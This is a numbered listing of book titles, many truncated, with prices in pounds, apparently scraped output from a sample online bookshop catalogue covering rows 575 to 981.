575 | The Little Paris Bookshop,£24.73 576 | The Hiding Place,£55.91 577 | The Grand Design,£13.76 578 | The Firm,£45.56 579 | The Fault in Our ...,£47.22 580 | The False Prince (The ...,£56.00 581 | The Expatriates,£44.58 582 | The Dream Thieves (The ...,£34.50 583 | The Darkest Corners,£11.33 584 | The Crossover,£38.77 585 | The 5th Wave (The ...,£11.83 586 | Tell the Wind and ...,£45.51 587 | Tell Me Three Things,£41.81 588 | Talking to Girls About ...,£25.15 589 | Siddhartha,£34.22 590 | Shiver (The Wolves of ...,£16.23 591 | Remember Me?,£11.48 592 | Red Dragon (Hannibal Lecter ...,£23.37 593 | Peak: Secrets from the ...,£16.28 594 | My Mother Was Nuts,£31.63 595 | Mexican Today: New and ...,£24.91 596 | Maybe Something Beautiful: How ...,£22.54 597 | Lola and the Boy ...,£23.63 598 | Logan Kade (Fallen Crest ...,£13.12 599 | Last One Home (New ...,£59.98 600 | Killing Floor (Jack Reacher ...,£31.49 601 | Kill the Boy Band,£15.52 602 | Isla and the Happily ...,£48.13 603 | If I Stay (If ...,£38.13 604 | I Know Why the ...,£36.55 605 | Harry Potter and the ...,£23.32 606 | "Fruits Basket, Vol. 5 ...",£16.33 607 | Foundation (Foundation (Publication Order) ...,£32.42 608 | Fool Me Once,£16.96 609 | Find Her (Detective D.D. ...,£22.37 610 | Evicted: Poverty and Profit ...,£42.27 611 | Drama,£38.70 612 | Dracula the Un-Dead,£35.63 613 | Digital Fortress,£58.00 614 | "Death Note, Vol. 5: ...",£52.41 615 | "Data, A Love Story: ...",£32.35 616 | Critique of Pure Reason,£20.75 617 | Booked,£17.49 618 | "Blue Lily, Lily Blue ...",£34.13 619 | Approval Junkie: Adventures in ...,£58.81 620 | An Abundance of Katherines,£10.00 621 | America's War for the ...,£51.22 622 | Alight (The Generations Trilogy ...,£58.59 623 | A Girl's Guide to ...,£31.30 624 | A Game of Thrones ...,£46.42 625 | A Feast for Crows ...,£17.21 626 | A Clash of Kings ...,£10.79 627 | Vogue Colors A to ...,£52.35 628 | The Shining (The Shining ...,£27.88 629 | The Pilgrim's Progress,£50.26 630 | The Perfect Play (Play ...,£59.99 631 | The Passion of Dolssa,£28.32 632 | The Jazz of Physics: ...,£38.71 633 | The Hunger Games (The ...,£29.85 634 | The Hound of the ...,£14.82 635 | The Gunning of America: ...,£16.81 636 | The Geography of Bliss: ...,£28.23 637 | The Demonists (Demonist #1),£52.11 638 | The Demon Prince of ...,£27.88 639 | The Bone Hunters (Lexy ...,£59.71 640 | The Beast (Black Dagger ...,£46.08 641 | Some Women,£13.73 642 | Shopaholic Ties the Knot ...,£48.39 643 | Paper and Fire (The ...,£49.45 644 | Outlander (Outlander #1),£19.67 645 | Orchestra of Exiles: The ...,£12.36 646 | No One Here Gets ...,£20.02 647 | Night Shift (Night Shift ...,£12.75 648 | Needful Things,£47.51 649 | Mockingjay (The Hunger Games ...,£20.44 650 | Misery,£34.79 651 | Little Women (Little Women ...,£28.07 652 | It,£25.01 653 | Harry Potter and the ...,£13.90 654 | Harry Potter and the ...,£24.17 655 | Harry Potter and the ...,£31.63 656 | Harry Potter and the ...,£48.75 657 | Harry Potter and the ...,£14.74 658 | Gone with the Wind,£32.49 659 | God Is Not Great: ...,£27.80 660 | Girl With a Pearl ...,£26.77 661 | "Fruits Basket, Vol. 4 ...",£50.44 662 | Far From True (Promise ...,£34.93 663 | Dark Lover (Black Dagger ...,£12.87 664 | Confessions of a Shopaholic ...,£48.94 665 | Changing the Game (Play ...,£13.38 666 | Candide,£58.63 667 | Can You Keep a ...,£21.94 668 | Atlas Shrugged,£26.58 669 | Animal Farm,£57.22 670 | A Walk to Remember,£56.43 671 | A New Earth: Awakening ...,£55.65 672 | A History of God: ...,£27.62 673 | 'Salem's Lot,£49.56 674 | Zero History (Blue Ant ...,£34.77 675 | Wuthering Heights,£17.73 676 | World War Z: An ...,£21.80 677 | Wild: From Lost to ...,£46.02 678 | "Where'd You Go, Bernadette",£18.13 679 | When You Are Engulfed ...,£30.89 680 | We the People: The ...,£31.95 681 | We Are All Completely ...,£24.04 682 | Walk the Edge (Thunder ...,£32.36 683 | Voyager (Outlander #3),£21.07 684 | Very Good Lives: The ...,£50.66 685 | Vegan Vegetarian Omnivore: Dinner ...,£13.66 686 | "Unstuffed: Decluttering Your Home, ...",£58.09 687 | Under the Banner of ...,£30.00 688 | Two Boys Kissing,£32.74 689 | Twilight (Twilight #1),£41.93 690 | Twenties Girl,£42.80 691 | Trespassing Across America: One ...,£53.51 692 | Three-Martini Lunch,£23.21 693 | "Thinking, Fast and Slow",£21.14 694 | The Wild Robot,£56.07 695 | The Wicked + The ...,£14.41 696 | The Undomestic Goddess,£45.75 697 | The Travelers,£15.77 698 | The Tipping Point: How ...,£10.02 699 | The Thing About Jellyfish,£48.77 700 | The Stand,£57.86 701 | The Smitten Kitchen Cookbook,£23.59 702 | The Silkworm (Cormoran Strike ...,£23.05 703 | "The Sandman, Vol. 3: ...",£55.55 704 | The Rose & the ...,£58.64 705 | The Road to Little ...,£23.21 706 | The Rise of Theodore ...,£42.57 707 | The Restaurant at the ...,£10.92 708 | The Rest Is Noise: ...,£34.77 709 | The Red Tent,£35.66 710 | The Purpose Driven Life: ...,£37.19 711 | The Purest Hook (Second ...,£12.25 712 | The Picture of Dorian ...,£29.70 713 | The Paris Wife,£36.80 714 | The Obsession,£45.43 715 | The Nightingale,£26.26 716 | The New Guy (and ...,£44.92 717 | The Nanny Diaries (Nanny ...,£52.53 718 | The Name of God ...,£37.25 719 | The Maze Runner (The ...,£20.93 720 | The Lover's Dictionary,£58.09 721 | The Lonely Ones,£43.59 722 | The Lean Startup: How ...,£33.92 723 | The Last Painting of ...,£55.55 724 | "The Land of 10,000 ...",£29.64 725 | The Infinities,£27.41 726 | The Husband's Secret,£52.51 727 | The Hitchhiker's Guide to ...,£47.80 728 | The Guns of August,£14.54 729 | The Guernsey Literary and ...,£49.53 730 | The Goldfinch,£43.58 731 | The Giver (The Giver ...,£12.30 732 | The Girl with All ...,£49.47 733 | The Girl Who Played ...,£22.14 734 | The Girl Who Kicked ...,£57.48 735 | The Exiled,£43.45 736 | The End of Faith: ...,£22.13 737 | "The Elegant Universe: Superstrings, ...",£13.03 738 | The Disappearing Spoon: And ...,£57.35 739 | The Devil Wears Prada ...,£44.29 740 | The Demon-Haunted World: Science ...,£52.25 741 | The Day the Crayons ...,£26.33 742 | The Da Vinci Code ...,£22.96 743 | The Cuckoo's Calling (Cormoran ...,£19.21 744 | The Complete Stories and ...,£26.78 745 | The Complete Poems,£41.32 746 | The Catcher in the ...,£24.55 747 | The Cat in the ...,£16.26 748 | The Case for Christ ...,£47.84 749 | The Book Thief,£53.49 750 | The Book of Basketball: ...,£44.84 751 | The Blind Side: Evolution ...,£53.71 752 | The Autobiography of Malcolm ...,£23.43 753 | The Art of Simple ...,£34.32 754 | The Art of Fielding,£22.10 755 | "Surely You're Joking, Mr. ...",£25.83 756 | Stiff: The Curious Lives ...,£36.74 757 | Spilled Milk: Based on ...,£49.51 758 | Something Borrowed (Darcy & ...,£48.96 759 | Something Blue (Darcy & ...,£54.62 760 | Soldier (Talon #3),£24.72 761 | Shopaholic & Baby (Shopaholic ...,£46.45 762 | Seven Days in the ...,£52.33 763 | Seven Brief Lessons on ...,£30.60 764 | Scarlet (The Lunar Chronicles ...,£14.57 765 | Sarah's Key,£46.29 766 | "Saga, Volume 3 (Saga ...",£21.57 767 | Running with Scissors,£12.91 768 | Rogue Lawyer (Rogue Lawyer ...,£50.11 769 | Rise of the Rocket ...,£41.67 770 | Rework,£44.88 771 | Reservations for Two,£11.10 772 | Red: The True Story ...,£28.54 773 | Ready Player One,£19.07 774 | Quiet: The Power of ...,£43.55 775 | Prodigy: The Graphic Novel ...,£43.63 776 | Persepolis: The Story of ...,£39.13 777 | Packing for Mars: The ...,£56.68 778 | Outliers: The Story of ...,£14.16 779 | Original Fake,£31.45 780 | Orange Is the New ...,£24.61 781 | One for the Money ...,£32.87 782 | Notes from a Small ...,£40.17 783 | Night (The Night Trilogy ...,£13.51 784 | Neither Here nor There: ...,£38.95 785 | Naked,£31.69 786 | Morning Star (Red Rising ...,£29.40 787 | Miracles from Heaven: A ...,£57.83 788 | Midnight Riot (Peter Grant/ ...,£55.46 789 | Me Talk Pretty One ...,£57.60 790 | Manuscript Found in Accra,£34.98 791 | Lust & Wonder,£11.87 792 | Lila (Gilead #3),£12.47 793 | "Life, the Universe and ...",£33.26 794 | Life Without a Recipe,£59.04 795 | Life After Life,£26.13 796 | Letter to a Christian ...,£22.20 797 | Let's Pretend This Never ...,£45.11 798 | Legend (Legend #1),£43.69 799 | "Lean In: Women, Work, ...",£25.02 800 | Lamb: The Gospel According ...,£55.50 801 | Lady Renegades (Rebel Belle ...,£53.04 802 | Jurassic Park (Jurassic Park ...,£44.97 803 | It's Never Too Late ...,£42.38 804 | Is Everyone Hanging Out ...,£20.11 805 | Into the Wild,£56.70 806 | Inferno (Robert Langdon #4),£41.00 807 | In the Garden of ...,£28.85 808 | If I Run (If ...,£49.97 809 | I've Got Your Number,£19.69 810 | I Am Malala: The ...,£28.88 811 | Hungry Girl Clean & ...,£33.14 812 | House of Lost Worlds: ...,£43.70 813 | House of Leaves,£54.89 814 | Horrible Bear!,£37.52 815 | Holidays on Ice,£51.07 816 | Heir to the Sky,£44.07 817 | Green Eggs and Ham ...,£10.79 818 | "Grayson, Vol 3: Nemesis ...",£42.72 819 | Gratitude,£26.66 820 | Gone Girl,£37.60 821 | Golden (Heart of Dread ...,£42.21 822 | Girl in the Blue ...,£46.83 823 | "Fruits Basket, Vol. 3 ...",£45.17 824 | Friday Night Lights: A ...,£51.22 825 | Fire Bound (Sea Haven/Sisters ...,£21.28 826 | Fifty Shades Freed (Fifty ...,£15.36 827 | Fellside,£38.62 828 | Extreme Prey (Lucas Davenport ...,£25.40 829 | Eragon (The Inheritance Cycle ...,£43.87 830 | Eclipse (Twilight #3),£18.74 831 | Dune (Dune #1),£54.86 832 | Dracula,£52.62 833 | Do Androids Dream of ...,£51.48 834 | Disrupted: My Misadventure in ...,£15.28 835 | Dead Wake: The Last ...,£39.24 836 | "David and Goliath: Underdogs, ...",£17.81 837 | Darkfever (Fever #1),£56.02 838 | Dark Places,£23.90 839 | Crazy Rich Asians (Crazy ...,£49.13 840 | Counting Thyme,£10.62 841 | Cosmos,£36.17 842 | Civilization and Its Discontents,£59.95 843 | Cinder (The Lunar Chronicles ...,£26.09 844 | Catastrophic Happiness: Finding Joy ...,£37.35 845 | Career of Evil (Cormoran ...,£24.72 846 | Breaking Dawn (Twilight #4),£35.28 847 | Brave Enough,£51.32 848 | Boy Meets Boy,£21.12 849 | Born to Run: A ...,£27.35 850 | Blink: The Power of ...,£21.74 851 | Black Flags: The Rise ...,£40.87 852 | "Black Butler, Vol. 1 ...",£49.31 853 | Big Little Lies,£22.11 854 | Between Shades of Gray,£20.79 855 | Best of My Love ...,£27.41 856 | Beowulf,£38.35 857 | Beautiful Creatures (Caster Chronicles ...,£21.55 858 | Awkward,£38.02 859 | Ash,£22.06 860 | Are We There Yet?,£10.66 861 | Are We Smart Enough ...,£56.58 862 | Annie on My Mind,£36.83 863 | And Then There Were ...,£35.01 864 | A Walk in the ...,£30.48 865 | A Visit from the ...,£14.08 866 | A Storm of Swords ...,£31.22 867 | A Heartbreaking Work of ...,£54.29 868 | 8 Keys to Mental ...,£31.04 869 | #GIRLBOSS,£50.96 870 | The Suffragettes (Little Black ...,£11.89 871 | The Sense of an ...,£31.38 872 | "The Sandman, Vol. 2: ...",£54.81 873 | The Course of Love,£16.78 874 | Sugar Rush (Offensive Line ...,£24.42 875 | "Saga, Volume 2 (Saga ...",£11.75 876 | "Run, Spot, Run: The ...",£20.02 877 | New Moon (Twilight #2),£12.86 878 | Life,£31.58 879 | Kindle Paperwhite User's Guide,£34.00 880 | H is for Hawk,£57.42 881 | Girl Online On Tour ...,£53.47 882 | "Fruits Basket, Vol. 2 ...",£11.64 883 | Diary of a Minecraft ...,£52.88 884 | "Y: The Last Man, ...",£18.51 885 | While You Were Mine,£41.32 886 | Where Lightning Strikes (Bleeding ...,£39.77 887 | When I'm Gone,£51.96 888 | Ways of Seeing,£39.51 889 | "Vampire Knight, Vol. 1 ...",£15.40 890 | Vampire Girl (Vampire Girl ...,£53.82 891 | Twenty Love Poems and ...,£30.95 892 | Travels with Charley: In ...,£57.82 893 | Three Wishes (River of ...,£44.18 894 | This One Moment (Pushing ...,£48.71 895 | The Zombie Room,£19.69 896 | The Wicked + The ...,£36.52 897 | The Tumor,£41.56 898 | The Story of Hong ...,£43.19 899 | The Silent Wife,£12.34 900 | The Silent Twin (Detective ...,£36.25 901 | The Selfish Gene,£29.45 902 | The Secret Healer,£34.56 903 | "The Sandman, Vol. 1: ...",£54.12 904 | The Republic,£33.78 905 | The Odyssey,£29.64 906 | The No. 1 Ladies' ...,£57.70 907 | The Nicomachean Ethics,£36.34 908 | The Name of the ...,£50.59 909 | The Mirror & the ...,£29.38 910 | The Little Prince,£45.42 911 | The Light of the ...,£54.43 912 | The Last Girl (The ...,£36.26 913 | The Iliad,£16.16 914 | The Hook Up (Game ...,£36.29 915 | The Haters,£27.89 916 | The Girl You Lost,£12.29 917 | The Girl In The ...,£15.85 918 | The End of the ...,£14.40 919 | The Edge of Reason ...,£19.18 920 | The Complete Maus (Maus ...,£10.64 921 | The Communist Manifesto,£14.76 922 | The Bhagavad Gita,£57.49 923 | The Bette Davis Club,£30.66 924 | The Art of Not ...,£40.83 925 | Taking Shots (Assassins #1),£18.88 926 | Starlark,£25.83 927 | "Skip Beat!, Vol. 01 ...",£42.12 928 | Sister Sable (The Mad ...,£13.33 929 | Shatter Me (Shatter Me ...,£42.40 930 | Shameless,£58.35 931 | Shadow Rites (Jane Yellowrock ...,£21.72 932 | Settling the Score (The ...,£44.91 933 | Sense and Sensibility,£37.46 934 | "Saga, Volume 1 (Saga ...",£28.48 935 | "Rhythm, Chord & Malykhin",£28.34 936 | "Rat Queens, Vol. 1: ...",£46.96 937 | Paradise Lost (Paradise #1),£24.96 938 | "Paper Girls, Vol. 1 ...",£21.71 939 | Ouran High School Host ...,£29.87 940 | Origins (Alphas 0.5),£28.99 941 | One Second (Seven #7),£52.94 942 | On the Road (Duluoz ...,£32.36 943 | Old Records Never Die: ...,£55.66 944 | Off Sides (Off #1),£39.45 945 | Of Mice and Men,£47.11 946 | Myriad (Prentor #1),£58.75 947 | My Perfect Mistake (Over ...,£38.92 948 | "Ms. Marvel, Vol. 1: ...",£39.39 949 | Meditations,£25.89 950 | Matilda,£28.34 951 | Lost Among the Living,£27.70 952 | Lord of the Flies,£24.89 953 | Listen to Me (Fusion ...,£58.99 954 | Kitchens of the Great ...,£57.20 955 | Jane Eyre,£38.43 956 | Imperfect Harmony,£34.74 957 | Icing (Aces Hockey #2),£40.44 958 | "Hawkeye, Vol. 1: My ...",£45.24 959 | Having the Barbarian's Baby ...,£34.96 960 | "Giant Days, Vol. 1 ...",£56.76 961 | "Fruits Basket, Vol. 1 ...",£40.28 962 | Frankenstein,£38.00 963 | Forever Rockers (The Rocker ...,£28.80 964 | Fighting Fate (Fighting #6),£39.24 965 | Emma,£32.93 966 | "Eat, Pray, Love",£51.32 967 | Deep Under (Walker Security ...,£47.09 968 | Choosing Our Religion: The ...,£28.42 969 | Charlie and the Chocolate ...,£22.85 970 | Charity's Cross (Charles Towne ...,£41.24 971 | Bright Lines,£39.07 972 | Bridget Jones's Diary (Bridget ...,£29.82 973 | Bounty (Colorado Mountain #7),£37.26 974 | Blood Defense (Samantha Brinkman ...,£20.30 975 | "Bleach, Vol. 1: Strawberry ...",£34.65 976 | Beyond Good and Evil,£43.38 977 | Alice in Wonderland (Alice's ...,£55.53 978 | "Ajin: Demi-Human, Volume 1 ...",£57.06 979 | A Spy's Devotion (The ...,£16.97 980 | 1st to Die (Women's ...,£53.98 981 | "1,000 Places to See ...",£26.08 982 | --------------------------------------------------------------------------------